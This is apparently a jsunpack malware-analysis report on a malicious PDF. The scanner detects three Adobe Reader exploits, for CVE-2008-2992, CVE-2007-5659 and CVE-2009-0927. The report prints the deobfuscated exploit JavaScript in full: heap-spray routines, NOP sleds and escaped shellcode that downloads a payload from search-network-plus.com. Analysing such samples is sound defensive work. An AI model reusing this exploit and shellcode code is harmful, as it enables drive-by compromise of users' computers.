jsunpack - a generic JavaScript unpacker

upload malicious

[malicious:10] [PDF] upload
info: [decodingLevel=0] JavaScript in PDF 84009 bytes, with 87 bytes headers
info: [decodingLevel=1] found JavaScript
malicious: Utilprintf CVE-2008-2992 detected
malicious: collectEmailInfo CVE-2007-5659 detected
malicious: CollabgetIcon CVE-2009-0927 detected
suspicious: Warning detected /warning CVE-NO-MATCH Shellcode Engine Length 65536 /warning CVE-NO-MATCH Shellcode NOP len 253 /warning CVE-NO-MATCH Shellcode NOP len 9999 /warning CVE-NO-MATCH Shellcode NOP len 261899 /warning CVE-NO-MATCH Shellcode NOP len 231 /warning CVE-NO-MATCH Shellcode Engine Binary Threshold
malicious: shellcode of length 307/231
malicious: shellcode URL=search-network-plus.com/load.php?a=a&st=Internet Explorer 6.0&e=3
info: [decodingLevel=2] found JavaScript
error: undefined function sly
suspicious: maxruntime exceeded 10 seconds (incomplete) 0 bytes
info: Decoding option app.viewerVersion=8.0, 1106 bytes
info: Decoding option app.viewerVersion=9.1, 0 bytes
info: Decoding option app.viewerVersion=, 1649 bytes
suspicious: Warning detected /warning CVE-NO-MATCH Shellcode NOP len 261899 /warning CVE-NO-MATCH Shellcode NOP len 231 /warning CVE-NO-MATCH Shellcode Engine Binary Threshold /warning CVE-NO-MATCH Shellcode Engine Length 65536 /warning CVE-NO-MATCH Shellcode NOP len 253 /warning CVE-NO-MATCH Shellcode NOP len 9999
info: file: saved upload to (6045554853a61681d7264260cdd1072bbdc113ac)
file: 6045554853a61681d7264260cdd1072bbdc113ac: 607083 bytes
file: 6d364e74f510fb513547ab20cc9520a429e2b5e2: 84096 bytes
file: 5494d4abd36dd1e91f2f3e47de24af065bccf880: 6784 bytes
file: be7f8a77f560360e6ba0956f7f0855f26ce3e9a4: 307 bytes
file: 66e47054b4f6401dbfb29ccf2366c3da29196f14: 6925 bytes
file: 197c34c4f8fce9ef026fd33602faa7200e5391a6: 1649 bytes

Decoded Files

6045/554853a61681d7264260cdd1072bbdc113ac from upload (607083 bytes, 501889 hidden) download

%PDF-1.3 %MMWIENOF %WNIFILSNFIEOWNSDF 1054 0 obj <</Length 0000/Filter [/F#6c#61#74e#44e#63#6fde/#41#53#43II#38#35#44#65#63#6fd#65]>> stream x]i}_eY$w(WQDe$]u2]Nw6N\w6__|jxpxN>'~A^_6O_W?^|!?]p2}6L?'.9}w_^.WdZG_oi_6e<]D_ig.%Gpu+kiz?M.79zXY-GNyWdO7o\y8^!<}eW{9~j~>eEpU*oztku9W'Sz [| {l^,s1/N^54?/+ZK~kkiJ|Gogs<W|zZ<_4|xwi{& MW5~^WnZ}es5dW_[w?8V;"=>gskwe:|n{K%iZ"EnH'i_x9+<k<l~{wr7e:}liT>\CEy(=9<g9,qq$"?Z<P.K~oxQ/.5@<vi^im`9%}X<KVTtUe_q:y'TfUDhC2_+$KS>SWF+xvG?4=noavTrgM;g(W7;p#wWUnhCg/?/x #v>]8o}6rXP/rhY)_0?F>&_a $_Ux1L[_9Tt]1{vGS="SVclKle7n/ln~n^i6zK`9vYrrR&"3BM6rg\{vF\>.;7r;l\x'Pa;rkXb9qW%lMtdOTjdl&Pl[Ga_Fw20NUCst_:Z:_sp ,m'ka>$ve/+xgf4n&cAX:pa8C!,hH1mz lMq%ANXw;pqK%t7q2&tswz>,l`LH8,@xx76'o2}?:h1okK>( Ri)>{@l}:'*zBeOsEx`s!zh_"]kS C&Q55?^&aCvVTTQRm+b3gu`]wK9aU`r}<j|k@D*P~;Ab]?0)>apxL5ag~4vXFUM9ziqzkBU!T*/Z]M3nZZ@k*mChh<"Pge7(G{awDl:9@ M7IVEY8PqwaW6k]B;\<!8o-gp26I`kD-Cmy</(#cH9lA<:9#@A n.bj{{hFiTv~AaSE9cDnf/>ixsz74r\R0Em={2y^0:m7!G?Ot59B#FUk34j OUuX=7DEdp2CTh3H(aJ^aBkC=6={Zc|q"tqFPxFi1}YK4!nlPu^df<4n*GSnVce O8sm%,E, b_M%4qv3%j+iWfHAYp.mGjG%~ PqE!0V/mU1ZaM$#zXqNQ\@Z;VB(2 YM@]Q lP3_32/#CfFttgaR nT*&pXQiFTe"3U<V_;vq_:}n\&vJjo27U%sdkorq=w,2eb"l8crc``~|?0$CZm&R,s/9I_BE4"X&1}oat/7 '$X/b2`@x(5N TEQl`~(z3nd&IbbY9jSWA ;|_/E@$3A?7#uUJTKNW.=ODs01}P^A]XFC5&|Hhq!x',08AM-GX<~bnBku/bE%^z$(;0ua?nZob8AsNw-U/XGe9`H!Y4EJM1lEwt`K5{rpqrEJ*W-=U$IJvFc\\+bWMVD42=!CxbZKS&n&OI?JLN%F`g-ZqkU%C*X8tmv?aRydbfa V.b?1dtD_qZB2(`zNz_1dP<BAep;*Kj7cdXC&A9daZB <R@t@f7odNpHj',,@{/PFt(1HhH-F{V)fGk<seC%?tHX}ok:!|@1HYi\w7ik$"@15N[hcu^C[2s,pf-Q(.{)1ZFp` 9,>li+$F1Pi?76/Eb@PmR>f~hidn911ot!w$#Ch/`'`3zrLhX%]N2#Q>$<\u* Rq}Bib;k;=?:NXP/D/[[+zU)/1zlt(Hs 8(A"88v@$1`;g@qoDnZ4Tq8BzN!&W<-LveP6p>@L84Wf3c_dT"iP??N*#4F&[8Os3WJAbz%UMDqmvl$I!c#v!OI'XnQ${6V41c\'c\PdzJBO@Uo;.qp{)ye1t-j0;V( !`-,h:bbDj;mVc<|3GsXAO~4oB8PG6'\mAcu/Tc|U>3z|[#Oz1%:1D&s>Y}Bs"x_Pa(u~+6vk-V,p2*dC8FQ/>Ym"AoAO&V![= 28{0b5WCxsC(xnQ7bZYx0j P$U"|XvGOO`n+<L L)Y,+&%:Z7oB;c<YpBz<uROT:(9+[Wzo-[&DPrk#h(F9jG>4*wg\ODYXwwg/HqTXeL'$W~iHghD"Z4h4."J:EkKWeB=g'< Z$6gfHWGM/@,;r5hK ]R`*OB% vKG,/j~jI#ht>D^Fqpz:>`Rxc9a8.Gmif$`5_&TG=iJTqxcc%YWJ^MHRqiTsBDi9n=w8NB2M0S" #PXNemgKT\ih@~d.@7{3d)ExOu:U`Fe06;BH,3<Nx(q*}>I@qf6~=NS,RM(D@@X/A2vRJ 8@ZtfM|zb0UM7"XrzikYB&|^Y) ndQ'!|2B,e4>_9#HMs"W0p"0)ew@0x:dS1s1s-*"rolaT,wb)d&2mA;9WN) jU$<Qr0DW>Cz`99aq9asXT"p:ku,//<&&+*yRsz m'<!fWXOel%'.Qg&}@de,cGT`6i9elD(mf}s0P'V;ER.8=5Pb?~oEz221m "J&lSF3v=-!@P>2|FK`-VpW#W#[,"24)(&ct $EZW(ct@`CRV89(&#P>dNJT0c69qvU5S"I4(e!a_m $FWLJM<dxSl0g{X=bUglug`$K"0DPBcq5YBH@2aQ<bZ3xLgt9qlu-Lf@bN4a?PFv+cn7,qTz=C@Nt>YHZ e$FU%%_.g=g\(AgWAobzb%AH,,<B(.'07$T\CGr)*(_h)2lINv4713jy;QxX#&1[-t"hg/8 #C4j7hw?!&dHNYOt-+r)RBxTG{h&}kI'zvQM;iQNygtxPUh(6sp`XD *PSB|)/;dt!u_i>Nm4v+yG"5-:S$"y@qWdzdY+altFibb+nEsNXky[q^BKL<-pn/t9nm]{w"-G\&6MBu8f#"\VaRa@4o3ft%CX"g]V(.vaD$}UP32e"yE>wh,Y0fk<q@!v]jAYYLGTQ3&+Un!+?5BXs339s]7dAn[M%0o Q9pyf5XR,kMJu(IBo4t-|4o4dF08&EvXhZGhcz@PMAW<Ydkajq"HmS2!, v }fnD(p~Y]`Y{)?E;(oyfsV/f7:2c/Q]-=pNv5yrvKtb%DjP3A AAyG] G/qk5 x!;|hq<LxOm?1F,`A7SwXX%f!%CkC}Q.BEY%vH(,p: Yo+O})aoYrmIC}J.lFVt)c|Rb hD6jQ"ZP"n65P0Q'CHyFJyht"geW8Y*d`@h`e]0QKeMMsGgNF?x8(#T,RBfL68B> PaAFb,']r$4UH8b7(\N6VwHu5jzN2~93)jPl:0L"71<1aG>"=l#LTSZOC{>YLM0}-Mb3c`daU%fJ|OV|tGzAp3$=qT1D#!QMG>&_$WV@ 9"aq&>diw2|E&?,j3n:J%kwucV<4%#T\ygAa8]~YpY1fL&C(,&3G%a3xcq2ean\ILLh<2|9C(I$uvd2"&D, Y#U]sB2pg@%s*mZV38L 'Jqi: ">4sZij^*%"+d @)F_0y>2zyt9S)NakymFMy;nHU](Bk-zg)-OuKr]vtr+`913}KXd`GI`w@'-?,s6?. {*@r^pTB#xlWAU #[-dT~F?BqB4e< Y%8NBX?6nR;qh`P7z 8AQWO3vy2DiZ.abTYDM%1c8H*<Il'(@l))c6TvnQjB"+MxfPGkA^|d9Y} pfqziOJx.z<HfA={&65#"a* x&'<t!|[=+Pi(dGWP\[$ /vBil!0Q7!*"X'(pptZb59-G} Nu,73_r>bCPQE86F|2eAU)xw/1YOWuG!n"%yJGR 8U#03E;`EELz*B!tOkE%R<'IS<xb9'$lZ0rz|)Ka$%,P!wAJ@bI=)()! HU[da7#9q%Hw17'jiv!J+&/([J Q2;-z&!8cjb`g@5`7F@7 paIM~vUz[Ms''Zo`xWsof *eWxIZDV6[~63-otUwI)2IK|:^LjBrC6wYqnF< %KlYOvDf9c\kp|qg\>!5&a$gsF1Yiyx>5E,}1J:+H&N"ux9{x;[.v?<DR5p/qZIpG>'?X@\?NH&dJvW,a&nc2ScZ,?$`r3+*b_B0_}.(f$Tir B_,5?dk4Sz#v`F%rDzEyjFCpK#&n/~GaZ$E7=CBmFyFXDwh2'TaILeZRRDl"L$9d_i&guq<2ob)A#`LtqG(mMkAg;O):1.1U#w>t\!*?Y_@_ "6G\`k6QflsxiFI_v$s?s|StMV8><Sx"R2{`BcaqeC`hNxapio1HA:9,!Q PCE]WZJ>Q:_ #'B kwUzDBM@}<dCvg9y.7z'3>MgI}cGS|Z;7lUHr'.#L"B2*KzR1ywO44_vb>n2D_;HMM0F_Z>[wDh].tKv|-XN +H]X%L'f)$3t|edjA_#LhX 2`j&pdW9-*5 I,S(;5!pGEI$@wQ(|5-!Rsk["(=g uFowN@KJyVsv RR)hh2\V &+\IJNZ|4VHwUT3Wo(u}TbN&iz4+cDDc#<*d""9`0<b*<3>\SI nU/0&L*#,_L%h:K7C2hpP>SWp; Q`tq=A%|z:#\Usp,ij/"PCx,P'S,4_:,* :~Om8f#@\lBg qXW'vtBexc(3>)_K >0$h'PO6w(C} A=2LK1m=r s>LhUItHf"Q{*'|j"4 r>8/]J=]p]YW}\GSxlH]%5XtU$EOm7CIWVl_%@-*VU6:I^F `J`fnvRY"p ZSn4~ZKq-U!QT.+%`!7EO\7}q4$ 83&lkG1A4e,: F0jnH5d$El\qA4u(H[P%d8Zk]Tb7}n6ODSdnD:O SXED4fN KNQ=2d*)Y..LPaFOz##A5OUrG~=9tG4XJ`(C4`S@_Qa&6,093VtXG/~V2"N'(gS'RSt]=N!,W2Ysk)}:!45>3bvau'B5&\7s1SA-&NVTl3JhHA*<?m!V~F5E"18'^@5xZ)}q>p6+&DUM=1fgYs~`}1hBdJ~_s<"^*6m*je5)ZN]u,

6d36/4e74f510fb513547ab20cc9520a429e2b5e2 from upload (84096 bytes, 87 hidden) download

var xtdxJYVm='011110000010101100000111001011110010000100110111000111110001101100101111010011110010010100110000000100010010011100000010011010010000001100011110001111110010100100101100010000100000001100001101000000110011100000100011010010000010110000011000000100000010111000111001000000100101100100011100000110010010001000011111000000100101110100000000000111110011011100100101001001100010001001101111011111100100101100101001001100100010111100110010001011010110011000101011001110110011001100111001000000000000110101111000011110000001010000110010001110000000001100001011011010000001010001101100001101110010101100011010001110110000010100111001011100010000001000000010001010000000001100110011010001000011110000100100000001100000101100100001001000010010001100000000000101100100111101111011010101100010000100101110000101000010010100111000011010000111010001000101011110010011000101011000001100100011100000111011001001100000001100110000000000110001101001010001000000010010001000011000001101100001111001001111011110100011100000000110001011010001010101100001001011110010001000001100000111010010100001000100001111000000111100111100011011010100100100001010000110110010011001010010010110010100101100110100000101000111011100110111010001100111110100010110000011000111011001011001010011100100000000111001000001010111111000010010011001010101100100001001001000100101101001101001010111110010101100010010000000100101011100011000010010000010111000010000001111000100100100010100011011010110000000101010000001010101010000110001001011010010111000111001000011000110000001001110010111010111010000110110000111100100100001001110000101110001000000010101000100110100011001110110011010000000101000010000000110010101110100100111010100100100111000110100000101000110111100100000011000110111011100011101001100100101111001011011010110010001011000101010000101100101000000110001010001100001001000001001000100110111001100000010011101010101101000110101000001100001110101100100000010100111010100001011001001110001001001111111010111010011101100110001000100110011011100000111010110010001010000000100001110010101100100010011000011000001101100111111001001000111111101000101011111100010001000001001000000010010010000101111010100000101111000101011001001000100110001111010011110110100001100001000000100100110011101110000011000000111000100010010000110000100000101111000010011000101111000000110000001110101111101000100011000000000110100111010000011000101001000000111011000000010100100111010001111100101000001110010011110110101011100010101000000110111101101010100011111000100000000110011000111100101010001110000001010010100010100001110000100100100111001001111011111000010011000100101000111110110011001011110010110010100011100101000000110010110000001001011001111000110011100001001000001000100110001001010001011100110100000111001001011110101000101000001010110100101110100011001000101110111100001011000001010000001011100110010001111010110010101011101000101000001001000101110000000110010001100110000010101100010111100111010000110100111110101000000010000110101101100110111000111010011010001111011010111110111101100011101001001110111111001001000011110110111011100011110000100100000101100010001001000000111110000110100000110010111001001111100011100100000001000011011001011000101100001111110000101000010110000110100001011110001010000101111001000100000001100110100001001100101100000010011010101000111010000101010000011110100000101111100000000100101010000111010000101000100011100010110001011110101010000110000000110010101001001100110011110010010000000110000001100010101000101011001011001010111010100110110001101000110000101111110001101110101110000100100001111100101110100110000010111000010100000001100001100000111100100000000011100010101001000011001001001100111111100011001010001100100000100101001000011110011010101111101010101110111001000010000001110100110001001100000010010110011101000001000000111010101001101010111011011100011101100010101000101000110110000110111001010110110001000011001001110110101000101010101010111100001011100011101001101100111100100010010000110010111110000001100001000010100011001110000010000100010101100111101001011110101011001100000010000110111100100001111000111100111000101010111001110000101110100110010000111010100100000000010001110010000010100011110001100010010110101000001011001100011001000010010001001000000011100101101001010100110000100010110001001100000111100000100001011010010111000011001000110000011010001000110011001100101001100001100001001110000001101101110011010110001010100110011001111000000001100000110000111110101010100110000001101110010010101110110010011010010000000101111000001100111011100000011010001110110111100001100000000100110011101011101011111000111100000010010000110110111100101101110001001110001010000001000000101100101101101100001011000000111001000011000001110110011011001110001000101110010111100010001001011000111001000011000011101010011101100101100001000100100000101001011000000110101111000001110001101100110011001110101010011010100101000101001000110110100010000100001011101000010100000111011000001010100111001

5494/d4abd36dd1e91f2f3e47de24af065bccf880 from upload (6784 bytes) download

//eval  function OzWJi(rzRoI,fxLUb){while(rzRoI.length*2<fxLUb){rzRoI+=rzRoI;} return rzRoI.substring(0,fxLUb/2);} function bSuTN(){var Uueqk=sly("\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u09EB\u408B\u8D34\u7C40\u588B\u6A3C\u5A44\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u8956\u0455\u5756\u738B\u8B3C\u3374\u0378\u56F3\u768B\u0320\u33F3\u49C9\u4150\u33AD\u36FF\uBE0F\u0314\uF238\u0874\uCFC1\u030D\u40FA\uEFEB\u3B58\u75F8\u5EE5\u468B\u0324\u66C3\u0C8B\u8B48\u1C56\uD303\u048B\u038A\u5FC3\u505E\u8DC3\u087D\u5257\u33B8\u8ACA\uE85B\uFFA2\uFFFF\uC032\uF78B\uAEF2\uB84F\u2E65\u7865\u66AB\u6698\uB0AB\u8A6C\u98E0\u6850\u6E6F\u642E\u7568\u6C72\u546D\u8EB8\u0E4E\uFFEC\u0455\u5093\uC033\u5050\u8B56\u0455\uC283\u837F\u31C2\u5052\u36B8\u2F1A\uFF70\u0455\u335B\u57FF\uB856\uFE98\u0E8A\u55FF\u5704\uEFB8\uE0CE\uFF60\u0455\u7468\u7074\u2F3A\u732F\u6165\u6372\u2D68\u656E\u7774\u726F\u2D6B\u6C70\u7375\u632E\u6D6F\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3620\u302E\u6526\u323D\u0000%25%30%25%30%25%30%25%30%25%30%25%30");var HWXsi=202116108;var ZkzwV=[];var HsVTm=4194304;var EgAxi=Uueqk.length*2;var fxLUb=HsVTm-(EgAxi+0x38);var rzRoI=sly("\u9090\u9090");rzRoI=OzWJi(rzRoI,fxLUb);var tfFQG=(HWXsi-4194304)/HsVTm;for(var gtqHE=0;gtqHE<tfFQG;gtqHE++){ZkzwV[gtqHE]=rzRoI+Uueqk;} var eHmqR=sly("\u0c0c\u0c0c");while(eHmqR.length<44952)eHmqR+=eHmqR;this.collabStore=Collab.collectEmailInfo({subj:"",msg:eHmqR});} function Soy(){var dwl=new Array();function ppu(BtM,dqO){while(BtM.length*2<dqO){BtM+=BtM;} BtM=BtM.substring(0,dqO/2);return BtM;} XrS=0x30303030;HRb=sly("\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u09EB\u408B\u8D34\u7C40\u588B\u6A3C\u5A44\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u8956\u0455\u5756\u738B\u8B3C\u3374\u0378\u56F3\u768B\u0320\u33F3\u49C9\u4150\u33AD\u36FF\uBE0F\u0314\uF238\u0874\uCFC1\u030D\u40FA\uEFEB\u3B58\u75F8\u5EE5\u468B\u0324\u66C3\u0C8B\u8B48\u1C56\uD303\u048B\u038A\u5FC3\u505E\u8DC3\u087D\u5257\u33B8\u8ACA\uE85B\uFFA2\uFFFF\uC032\uF78B\uAEF2\uB84F\u2E65\u7865\u66AB\u6698\uB0AB\u8A6C\u98E0\u6850\u6E6F\u642E\u7568\u6C72\u546D\u8EB8\u0E4E\uFFEC\u0455\u5093\uC033\u5050\u8B56\u0455\uC283\u837F\u31C2\u5052\u36B8\u2F1A\uFF70\u0455\u335B\u57FF\uB856\uFE98\u0E8A\u55FF\u5704\uEFB8\uE0CE\uFF60\u0455\u7468\u7074\u2F3A\u732F\u6165\u6372\u2D68\u656E\u7774\u726F\u2D6B\u6C70\u7375\u632E\u6D6F\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3620\u302E\u6526\u313D\u0000\u0000%23%26%23%26%23%26%23%26%23%26%23%26%23%26%23%26%23%26%23%26");var jxU=4194304;var RaR=HRb.length*2;var dqO=jxU-(RaR+0x38);var BtM=sly("\u9090\u9090");BtM=ppu(BtM,dqO);var JYD=(XrS-4194304)/jxU;for(var Prn=0;Prn<JYD;Prn++){dwl[Prn]=BtM+HRb;} var IdI="66055447950636260127";for(sly=0;sly<138*2;sly++){IdI+="3";} util.printf("%45000f",IdI);} function ynu(shG) {shG=shG.replace(/[\+1]/g,"0");shG=shG.replace(/[\+2]/g,"9");shG=shG.replace(/[\+3]/g,"8");shG=shG.replace(/[\+4]/g,"7");shG=shG.replace(/[\+5]/g,"6");shG=shG.replace(/[\+6]/g,"5");shG=shG.replace(/[\+7]/g,"4");shG=shG.replace(/[\+8]/g,"3");shG=shG.replace(/[\+9]/g,"2");shG=shG.replace(/[\+0]/g,"1");return shG;} function XiIHG(){var cqcNr=sly("\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u09EB\u408B\u8D34\u7C40\u588B\u6A3C\u5A44\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u8956\u0455\u5756\u738B\u8B3C\u3374\u0378\u56F3\u768B\u0320\u33F3\u49C9\u4150\u33AD\u36FF\uBE0F\u0314\uF238\u0874\uCFC1\u030D\u40FA\uEFEB\u3B58\u75F8\u5EE5\u468B\u0324\u66C3\u0C8B\u8B48\u1C56\uD303\u048B\u038A\u5FC3\u505E\u8DC3\u087D\u5257\u33B8\u8ACA\uE85B\uFFA2\uFFFF\uC032\uF78B\uAEF2\uB84F\u2E65\u7865\u66AB\u6698\uB0AB\u8A6C\u98E0\u6850\u6E6F\u642E\u7568\u6C72\u546D\u8EB8\u0E4E\uFFEC\u0455\u5093\uC033\u5050\u8B56\u0455\uC283\u837F\u31C2\u5052\u36B8\u2F1A\uFF70\u0455\u335B\u57FF\uB856\uFE98\u0E8A\u55FF\u5704\uEFB8\uE0CE\uFF60\u0455\u7468\u7074\u2F3A\u732F\u6165\u6372\u2D68\u656E\u7774\u726F\u2D6B\u6C70\u7375\u632E\u6D6F\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3620\u302E\u6526\u333D\u0000\u1334\u1334");dPl=sly("\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090")+cqcNr;FQI=sly("\u9090\u9090");fhT=5*2;sLa=fhT+dPl.length;while(FQI.length<sLa)FQI+=FQI;NJn=FQI.substring(0,sLa);eUq=FQI.substring(0,FQI.length-sLa);while(eUq.length+sLa<0x40000)eUq=eUq+eUq+NJn;Cwy=[];for(XWT=0;XWT<180;XWT++)Cwy[XWT]=eUq+dPl;var kKG=4012;var LwZ=Array(kKG);for(XWT=0;XWT<kKG;XWT++) {LwZ[XWT]=sly("\u000a\u000a\u000a\u000a");} Collab.getIcon(LwZ+"_N.bundl

be7f/8a77f560360e6ba0956f7f0855f26ce3e9a4 from upload (307 bytes, 127 hidden) download

66e4/7054b4f6401dbfb29ccf2366c3da29196f14 from upload (6925 bytes, 141 hidden) download

197c/34c4f8fce9ef026fd33602faa7200e5391a6 from upload (1649 bytes) download

//warning CVE-NO-MATCH Shellcode Engine Length 65536  //warning CVE-NO-MATCH Shellcode Engine Binary Threshold //jsunpack.called Collab.collectEmailInfo //jsunpack.called collab.getIcon  //shellcode len 231 (including any NOPs) dPl = %u9090%u9090%u9090%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6165%u6372%u2D68%u656E%u7774%u726F%u2D6B%u6C70%u7375%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u3D61%u2661%u7473%u493D%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u3620%u302E%u6526%u333D%00%u1334%u1334 //warning CVE-NO-MATCH Shellcode NOP len 253 //shellcode len 256 (including any NOPs) FQI = %u9090%u9090%u9090 //warning CVE-NO-MATCH Shellcode NOP len 231 //shellcode len 241 (including any NOPs) NJn = %u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090 //warning CVE-NO-MATCH Shellcode NOP len 261899 //shellcode len 261903 (including any NOPs) eUq = %u9090%u9090%u9090%u9090 //warning CVE-NO-MATCH Shellcode NOP len 9999 //shellcode len 47184299 (including any NOPs) Cwy = %u9090

URL	Status
search-network-plus.com/load.php?a=a&st=Internet Explorer 6.0&e=3	status: (referer=http:/www.ask.com/web?q=puppies)failure: <urlopen error [Errno -2] Name or service not known>

Submission permanent link 6e2aa09c6018ffaa47b3c2dc63843d6c9fb867fa (Received 2018-04-12 01:16:24, 00601560.pdf )

All Malicious or Suspicious Elements of Submission